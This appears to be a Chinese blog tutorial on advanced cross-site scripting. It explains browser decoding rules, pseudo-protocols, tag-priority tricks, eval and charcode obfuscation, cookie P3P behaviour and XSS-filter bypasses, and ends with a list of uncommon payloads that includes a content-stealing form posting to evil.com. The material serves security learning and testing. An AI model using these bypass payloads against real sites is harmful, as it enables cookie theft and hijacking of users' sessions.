XSS进阶小教程

一、在了解XSS之前,我们首先需要先了解一下HTML 与 JavaScript 自解码机制。

1、HTML的自解码机制

      浏览器在解析HTML标签属性值内的代码前,会先对下列两种编码进行解码,然后再对属性中的代码进行解析。

(1)、进制解码:&#xH;(十六进制格式)、&#D;(十进制格式)。编码中最后的分号(;)可以不要。且16进制中用来表示10~15的a~f对大小写不敏感

例子:

<iframe src='javascrip&#116;&#58;alert`1`'></iframe>

也可写成

<iframe src='javascrip&#116&#58alert`1`'></iframe>

(2)、HTML 实体编码

例子:

<input type="button" value="test" οnclick="document.write('<img src=@ οnerrοr=alert(123) />')" />

也可写成

<input type="button" value="test" οnclick="document.write('&lt;img src=@ οnerrοr=alert(123) /&gt;')" />

 

2、JavaScript 自解码机制

(1)、Unicode 形式:\uH(十六进制)。

(2)、普通十六进制:\xH。

(3)、纯转义:\'、\"、\<、\>这样在特殊字符之前加\进行转义。

注:以上三种规则仅在通过JS更改HTML DOM树时才适用( 例如document.write()  document.getelementbyid().innerhtml=""),直接在<script>标签内使用上述编码,自解码规则不生效。

例子:

<input type="button" id="exec_btn" value="exec" />

<script>

function $(id){return document.getElementById(id);};

$('exec_btn').onclick = function(){

document.write('\<img src\=@ οnerrοr=alert\(123\) \/\>');//该代码可执行、可弹窗

//在JS执行前会先将上面这行代码先解码为:document.write('<img src=@ οnerrοr=alert(123)/>');

};

</script>

但如果直接在<script>标签内使用该编码,则自解码机制不生效。

例如:

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029</script>

其中上述\u编码内容为alert(123),但该代码并没有更新DOM树,所以不会弹窗。

 

三、伪协议

当输出点在src   href    action等属性内时,我们可以使用如下伪协议

 javascript:alert(1)//

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

前提是我们提交的这些payload必须出现在这些属性值的开头部分(tata:协议的必须作为整个属性值出现)。

经测试,在新版浏览器中<img>标签已经不支持伪协议。对于第一个javascript伪协议,在支持伪协议的标签里,除IE浏览器不支持其他浏览器都支持。对于第二个data协议在支持伪协议的标签中,href属性内均不生效,但在src属性中,除了在IE中不生效外,其余浏览器均生效。

 

 

二、接着我们再了解一些特殊的HTML标签,

1、当输出点位于下列这些HTML标签之间时,Javascript脚本是无法执行的

<title></title>

<textarea></textarea>

<xmp></xmp>

<iframe></iframe>

<noscript></noscript>

<noframes></noframes>

<plaintext></plaintext>

例如:

代码<title><script>alert`1`</script></title>是不会弹框的。

如果我们想让我们插入的脚本生效,就必须先闭合标签,再构造XSS语句,例如:

<title></title><script>alert`1`</script></title>

 

2、有些标签之间具有自动Html编码功能,具体详情如下:

<title></title>、<textarea></textarea>、<iframe></iframe>、<noscript></noscript><noframes></noframes>具有htmlencode编码功能,<plaintext></plaintext>标签在火狐浏览器下具备htmlencode编码功能,但在谷歌浏览器下不具备。

 

3、高优先级的标签

在HTML的语法中,有标签优先级的概念,<textarea>、<style>、<title>、<script>、<xmp>等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签的属性

例如:

  <title><a href="</title><img src=xx οnerrοr="alert`19`//"></title>

  <style><a href="</style><img src=xx οnerrοr="alert`19`//"></style>

<textarea><a href="</textarea><img src=xx οnerrοr="alert(519)//"></textarea>

<xmp><a href="</xmp><img src=xx οnerrοr="alert(9)//"></xmp>

 

4、不能相互嵌套的标签

<script>和<style>这两类标签是无法相互嵌套的,如果这两种标签嵌套使用,则代码不生效

例如:

<style><script>alert`1`</script></style>   

<style>标签中的JS代码也是不会被执行/生效的,反之也一样。

 

四、javascript是弱类型语言

<a href="javascript:alert(1)sda6415">click me</a>

当alert(1)后面出现其他字符时,alert(1)是无法正常弹窗的,常见方法是使用注释符//将后面多于内容注释掉。

但由于javascript是弱类型语言,我们可以使用逻辑运算符|  ||  &  && -  这些符号把alert后面多余内容给分割掉。经测试,当前仅IE浏览器不支持这种方法。

 

五、eval()函数

.javascript中有个原生函数,eval(),该函数可计算字符串并执行其中的代码,重点是它可以解析16进制、8进制的编码。

16进制的例子:

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0060\u0031\u0060")</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29")</script>

8进制的例子:

<script>eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");</script>

eval()虽然不能直接执行10进制形式的脚本,但可以配合String.fromCode()函数使用,该函数可以将数字转换为ASCII值。例子如下:

<iframe src="javAScript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"></iframe>

 

六、内存COOKIE、本地COOKIE、COOKIE的P3P属性

内存Cookie是指,没有为Cookie设置过期时间,内存Cookie随着浏览器的关闭而从内存中消失。

本地Cookie,服务器为Cookie设置了过期时间,Cookie以文本形式保存在操作系统本地,待过了过期时间才会消失。

如果攻击者通过XSS获取了一个本地Cookie,那么在相当一段时间内都不需要进行登录操作。

但这样并不意味着内存Cookie就比本地Cookie安全,攻击者可以给内存Cookie加上一个过期时间,使其变为本地Cookie。用户账号是否安全和服务器有关,包括重要Cookie的唯一性,完整性,过期时间等。

如果想要删除Cookie仅需要将Cookie过期值设置为过去的时间即可。

POST和GET请求均遵循P3P策略。

 

关于Cookie的P3P性质

HTTP响应头的P3P字段是W3C公布的一项隐私保护推荐标准。该字段用于标识是否允许目标网站的Cookie被另一个域通过加载目标网站而设置或发送,目前仅IE执行了该策略。

举个例子:比如A域通过script或者iframe等方式加载了B域。P3P标准在此过程中规定了浏览器是否允许B域设置自己的Cookie,或者是否允许发送请求到B域时,带上B域已有的Cookie。

(1)设置Cookie。

cookie包括本地cookie和内存Cookie,在IE下默认都是不允许第三方域设置的,除非B域在相应的时候带上了P3P字段。

如果服务器B在响应的时候带上了P3P字段,那么B域的Cookie就可以被正常设置了,设置后的Cookie会在IE下自动带上P3P属性(这个属性在Cookie中是看不到的),一次生效,即使之后没有P3P头,也有效,

(2)发送Cookie

发送的Cookie如果是内存Cookie,无论是否有P3P,内存Cookie都会正常发送。但如果是本地Cookie,那么这个本地Cookie必须具有P3P属性,不然,即使目标域响应了P3P头也没用。

下面附上《Web前端黑客技术揭秘》中的两张图,它们可以帮助我们更好地理解COOKIE的P3P属性

 

七、window.name的跨域特性

     对于某些存储型XSS,有时虽然可以插入<script>alert(1)</script>这样的代码,但是想插入更多时,发现代码被做了过滤或者替换,这时我们可以将要输入的代码进行进制转换后使用 eval 来执行:

eval(String.fromCharCode(97,108,101,114,116,40,49,41,59));

如果对输入的内容有字数限制,我们甚至可以输入 eval(name)来做执行入口,然后在

另一个可控制的页面(如攻击者的网站)放置如下一段代码:

<script>

window.name = "alert('xss')";

locaton.href = "http://www.target.com/xss.php";

</script>

这样便利用了 window.name 可以跨域传递的特性

 

八、绕过XSSfilter的常用办法

1.转换大小写。

<IFRAME SRC="javascript:alert`1`;">

2.大小写混淆

<iFRaMe Src="jaVaSCRipt:alert`1`;">

3.不使用双引号

<iframe Src='javascript:alert(1)';>

4.不使用引号

<iframe src=javascript:alert`1`;>

5.不适用空格

<iframe/src=javascript:alert`1`;>

6.javascript中有个原生的eval()函数,该函数可计算字符串并执行其中的代码,重点是它可以解析16进制、8进制的编码,例如:

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0060\u0031\u0060")</script>

eval()也可以执行10进制形式的脚本,需要配合String.fromCode()函数使用,该函数可以将数字转换为ASCII值。例子如下:

<iframe src="javAScript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"></iframe>

标签和属性之间、属性名和等到之间、等号和属性值之间可以添加空格,回车符或者tab等,且个数不受限制。

 

九、亲测可用的on事件

onclick

ondbclick  鼠标双击

onmousedown 按下鼠标

onmouseup 鼠标按下后松开

onmouseover 鼠标滑过

onmouseout  当鼠标离开某对象范围内

onmouseenter  当鼠标指针移动到对象内时触发

onmouseleave  当用户鼠标指针移出对象边界时触发

onmousewheel 当鼠标滚轮旋转时触发

onkeypress  当键盘上某个按键被按下并且释放时触发

onkeydown 当键盘上某个按键按下时触发

onkeyup  当键盘上某个按键被放开时触发

onabort

onerror当页面发生错误时

onload 页面加载完成时触发

onblur 当元素失去焦点时

onchange 当元素失去焦点并且内容发生改变时

onfocus 当元素获得焦点时

onreset 当表单reset属性被激活时触发    

<form οnreset=alert(88)>

<input type="reset" οnreset="alert(999)">

</form>

onsubmit 当表单被提交时触发,该时间和onreset一样镶嵌在<form>标签里

内容编辑事件

onbeforecopy当页面内容将要复制到浏览器系统者的剪切板前触发

例:<p onbeforecopy="alert(555)">aaaa</p>

onbeforecut当页面内容将要剪切到浏览器系统者的剪切板前触发

<input  type="text" onbeforecut="alert(555)">

onbeforeeditfocus  当前元素将要进入编辑状态时触发(没成功,不知道咋用,先记起来)

onbeforepaste 当内容将要从浏览着的系统剪粘版粘贴到页面时触发(当前IE和Edge浏览器支持,谷歌和火狐不支持)

oncontextmenu 当浏览者通过鼠标右键或键盘弹出右键菜单时触发

oncopy 当页面中当前选择的内容被复制后触发

oncut当页面中的当前被选择的内容被剪切时触发

ondrag 当元素被拖动时触发

示例:<p draggable="true" οndrag="alert('C J D Y')">拖动我!</p>

ondragrop一个外部对象被鼠标拖进当前窗口或者帧时触发

ondragend 当鼠标拖动结束时触发

ondragenter 当被鼠标拖动对象进入容器范围内时(被拖移对象脱离当前在HTML的位置后触发)

ondragleave 当对象被鼠标拖动的离开其容器范围时触发

ondragover 当某个被拖动的对象在另一对象容器范围内拖动时触发

ondrop 当拖动过程中,鼠标释放时触发(可以使用,但我不会用。。)

onclosecapture 当元素失去鼠标移动所形成的焦点时触发(不会使用,先记下来)

onpaste 当内容被粘贴时触发

onselect 当文本内容被选择时触发

onselectstart 当文本内容选择将开始发生时触发(谷歌和火狐不可用,ie和Edge可使用,它与onselect的区别是,onselectstart发生在文本即将被选中,但还未选择时。onselect发生在文本已经被选中,然后松开鼠标时)

onselectionchange 当文档的选中状态改变时触发(没有试验成功,先记下来)

外部事件

onafterprint 当文档被打印后触发

onbeforeprint 当文档即将被打印时触发

onlayoutcomplete 当打印或打印预览版面处理完成用来自源文onfilterchange 当某个对象的滤镜效果发生变化时触发

Onhelp 当浏览者按下 F1 键或者浏览器的帮助选择onpropertychange 当对象的属性之一发生变化时触发

onreadystatechange 当对象的初始化属性值发生变化时触发 (仅IE浏览器可用)

<input type=image src=http://www.baidu.com/img/baidu_sylogo1.gif

onreadystatechange=alert(13)>

 

十、几个不太常见但可用的XSSList分享

<details open οntοggle=alert(1111)>  <details>是HTML5支持的新标签,用于描述文档或文档某个部分的细节,open属性定义details是否可见, ontoggle 事件在用户打开或关闭 <details> 元素时触发。目前只有 Chrome 和 Safari 6 支持 <details> 标签。

<a href="javascript&colon;alert&lpar;1&rpar;">click</a>

<a href="javascript&#X0000000000000000003A(alert(1))">click</a>

非IE注释   <noembed><!--</noembed><svg/οnlοad=alert(1)-->

新属性   <iframe srcdoc="<script>alert(1)</script>"></iframe>

SVG特性<svg><script/xlink:href=data:;;;base64,YWxlcnQoNzc3KQ==></script>

SVG 特性 <svg><script>//&#8232&#97&#108&#101&#114&#116&#40&#49&#41</script>

Firefox 新标签新属性

<math xlink:href="javascript:alert(2)"><maction actiontype="statusline#http://evil.com">click

</maction></math>

非 IE 解析 bug <input value/="><script>alert(1)</script>" />

浏览器 bug <img src= alt=" οnerrοr=alert(1)//" >

内容窃取(需要点击) <form/action=//evil.com><button><textarea/name=/>

SVG 解析异常 <svg><script>a='<svg/οnlοad=alert(1)></svg>';alert(2)</script>

Chrome 异常 <body/οnlοad=throw['=alert\x281\x29//',οnerrοr=setTimeout]>

Firefox <embed src=javascript:alert(1)>

  • 5
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值